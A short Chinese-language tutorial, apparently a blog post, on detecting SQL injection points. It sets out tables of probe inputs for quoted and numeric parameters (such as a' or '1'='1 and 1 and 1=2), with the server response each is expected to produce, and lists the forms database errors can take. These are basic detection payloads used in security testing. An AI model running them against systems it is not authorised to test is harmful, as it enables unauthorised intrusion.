SQL注入-注入点判断

1.注入点判断

传入SQL语句可控参数分为两类
1. 数字类型,参数不用被引号括起来,如?id=1
2. 其他类型,参数要被引号扩起来,如?name="phone"

判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入

其他类型

构造测试                            预期结果                                 变种
a'                      //触发错误,返回数据库错误                              
a' or '1'='1            //永真条件,返回所有记录                   a') or ('1'=1   
a' or '1'='2            //空条件,返回原来相同结果                  a') or ('1'=2
a' and '1'='2           //永假条件,不返回记录                      a') and ('1'='2

数字类型

构造测试                            预期结果                                 变种
'                       //触发错误,返回数据库错误                  
1+1                     //返回原来相同的结果                           3-1
1+0                     //返回原来相同的结果                     
1 or 1=1                //永真条件,返回所有记录                        1) or (1=1
1 or 1=2                //空条件,返回原来相同的结果                     1) or (1=2
1 and 1=2               //永假条件,不返回记录                          1) and (1=2

2.服务端返回错误形式

  • 错误直接回显在页面上
  • 错误隐藏在页面源代码中
  • 检测到错误跳转到另一个页面
  • 返回HTTP错误代码500或重定向302
  • 适当处理错误结果,常显示一个通用错误页面
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章